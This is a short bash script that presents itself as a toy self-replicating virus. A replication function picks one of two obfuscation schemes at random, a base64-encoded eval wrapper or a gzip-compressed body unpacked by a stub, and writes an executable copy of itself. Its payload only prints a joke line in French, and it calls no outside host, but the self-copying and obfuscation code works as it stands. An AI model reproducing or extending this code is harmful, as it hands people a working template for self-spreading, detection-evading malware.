#!/bin/bash
#echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(tail -n+3 $0 | base64 -w0)\")\neval \"\$prg\"\n" > virii && chmod +x virii && exit 0

function replication() {
        case $1 in
                0)
                        echo -ne "#!/bin/bash\nprg=\$(base64 -d <<<\"$(base64 -w0 <<<${prg})\")\neval \"\$prg\"\n" > $$;
                        chmod +x $$;;
                1)
                        echo "$prg" > /tmp/z;
                        gzip /tmp/z;
                        echo -ne "#!/bin/bash\nprg=\$(tail -n+4 \$0 | gunzip 2>/dev/null)\neval \"\$prg\"\n" > $$;
                        cat /tmp/z.gz >> $$;
                        rm -f /tmp/z.gz;
                        chmod +x $$;;
        esac;
        return;
};

function run_payload() {
        echo "je suis le vilain payload !";
        return;
};

i=$(( RANDOM % 2 ));
replication $i;
run_payload;
exit 0